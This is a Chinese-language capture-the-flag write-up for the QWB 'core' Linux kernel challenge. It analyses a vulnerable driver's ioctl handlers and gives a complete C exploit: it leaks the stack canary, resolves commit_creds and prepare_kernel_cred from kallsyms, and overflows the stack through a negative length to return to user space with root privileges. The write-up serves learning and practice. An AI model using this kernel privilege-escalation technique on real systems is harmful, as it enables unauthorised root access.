qwb core1
题目文件
1
2
3
4-rwxrwxrwx 1 greydog users 6.8M Jul 22 18:33 bzImage #压缩的内核映像
-rwxrwxrwx 1 greydog users 13M Jul 22 18:33 core.cpio #文件镜像
-rwxrwxrwx 1 greydog users 222 Jul 22 18:37 start.sh #启动脚本
-rwxrwxrwx 1 greydog users 39M Jul 22 18:33 vmlinux #内核
start.sh
1
2
3
4
5
6
7
8qemu-system-x86_64 \
-m 128M \ #内存
-kernel ./bzImage \ #内核
-initrd ./core.cpio \ #ram磁盘
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \ #启动参数
-s \ #调试
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \ #网络设置
-nographic \ # 关闭图形化界面输出init启动脚本
1 | #!/bin/sh |
解压cpio文件取出驱动修改nit
1
2
3
4
5
6
7
8mv core.cpio core.cpio.gz
gunzip core.cpio.gz
cpio -idmv < core.cpio
$ cat gen_cpio.sh
find . -print0 \
| cpio --null -ov --format=newc \
| gzip -9 > $1
重新打包 ./gen_cpio.sh core.cpio驱动分析
- 查看ioctl函数(ioctl 函数相当于驱动的main函数),在打开驱动(open(“/proc/core”)后可以通过octl函数与驱动交互(ioctl(fd,request,…)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21__int64 __fastcall core_ioctl(__int64 a1, __int64 a2, __int64 a3)
{
__int64 v3; // rbx
v3 = a3;
switch ( a2 )
{
case 0x6677889B:
core_read(a3, a2);
break;
case 0x6677889C:
printk(&unk_2CD, a3);
off = v3;#控制读写位置,由用户设置
break;
case 0x6677889A:
printk(&unk_2B3, a2);
core_copy_func(v3, a2);
break;
}
return 0LL;
}
- core_read 函数,通过控制off数值可以达到任意内存读写
1 | unsigned __int64 __fastcall core_read(__int64 a1, __int64 a2) |
- core_copy_func 拷贝函数对拷贝长度进行有符号校验,存在栈溢出
1 | signed __int64 __fastcall core_copy_func(signed __int64 a1, __int64 a2) |
core_write 从用户态拷贝数据到name
1
2
3
4
5
6
7
8
9
10
11signed __int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
{
unsigned __int64 v3; // rbx
v3 = a3;
printk(&unk_215, a2);
if ( v3 <= 0x800 && !copy_from_user(&name, a2, v3) )
return v3;
printk(&unk_230, a2);
return 4294967282LL;
}漏洞利用
- 通过控制off读取canary
- 通过/tmp/kallsyms得到内核函数地址
- 构造rop,通过write写到name
- 构造off为负数绕过校验,栈溢出返回到用户空间代码执行提权函数get root shell
exp代码(码渣,在抄了很多代码后还写了很久)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
typedef int __attribute__((regparm(3)))(*_commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);
struct trap_frame{
unsigned long long rip;
unsigned long long cs;
unsigned long long eflags;
unsigned long long rsp;
unsigned long long ss;
}__attribute__((packed));
struct trap_frame tf;
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
void get_shell(){
system("/bin/sh");
}
unsigned long user_cs ,user_ss,user_rflags;
void save_stats() {
asm(
"movq %%cs, %0\n" // mov rcx, cs
"movq %%ss, %1\n" // mov rdx, ss
"pushfq\n" // 把rflags的值压栈
"popq %2\n" // pop rax
:"=r"(tf.cs), "=r"(tf.ss), "=r"(tf.eflags) : : "memory" // mov user_cs, rcx; mov user_ss, rdx; mov user_flags, rax
);
}
void payload(void){
commit_creds(prepare_kernel_cred(0));
asm("swapgs;mov $tf,%rsp;iretq;");
}
int main(void)
{
int fd,fd1;
FILE * fp;
char buf[100];
long base,canary;
memset(buf,0,sizeof(buf));
save_stats();
fd = open("/proc/core",O_RDWR);
if (fd == -1){
printf("open core device failed!\n");
return -1;
}
fp = popen("cat /tmp/kallsyms | grep commit_creds","r");
fread(buf,sizeof(char),16,fp);
printf("%s\n",buf);
pclose(fp);
tf.rsp =(unsigned long long) buf;
tf.rip = (unsigned long long )&get_shell;
commit_creds = (_commit_creds) strtoul(buf,NULL,16);
base = (unsigned long)commit_creds - 0x7fc8d;
printf("commit_creds address is 0x%lx\n",commit_creds);
memset(buf,0,sizeof(buf));
fp = popen("cat /tmp/kallsyms | grep prepare_kernel_cred","r");
fread(buf,sizeof(char),16,fp);
printf("%s\n",buf);
pclose(fp);
prepare_kernel_cred = (_prepare_kernel_cred) strtoul(buf,NULL,16);
printf("prepare_kernel_cred address is 0x%lx\n;",prepare_kernel_cred);
pclose(fp);
memset(buf,0,sizeof(buf));
ioctl(fd,set_off,0x40);
ioctl(fd,core_read,buf);
printf("%lx\n",buf);
write(1,buf,64);
memcpy(&canary,buf,8);
printf("\n%d\n",canary);
printf("canary is 0x%lx \n",canary);
ioctl(fd,set_off,0x80000000);
long rop_chains[] = {
0x9090909090909090,
0x9090909090909090,
0x9090909090909090,
0x9090909090909090,
0x9090909090909090,
0x9090909090909090,
0x9090909090909090,
0x9090909090909090,
canary,
0x9090909090909090,
(long)&payload,
};
write(fd,rop_chains,0x800);
ioctl(fd,core_copy,0xffffffffffff0000|0x100);
return 0;
}遇到的调试问题
1
2
3
4
5
6./start.sh #开启qemu
gdb vimlinux #在另一个终端打开gdb
set target remote localhost:1234#链接qemu 下断点可以停下内核 ctrl c 无法停止
echo g /proc/sysrq-trigger#qemu里执行 内核会假死 等待gdb 然而,,,本地没有停下来
lsmod core#查看core模块基地址 修改init 用root用户调试
add-symbol-file core.ko 0x....#在gdb中加载驱动 就可以正常下驱动断点
其间参考了很多大佬博客,感觉到知识分享的便利性,决定以后有空就多写写博客,记忆知识,同时也为后来任点亮一盏小小的灯光。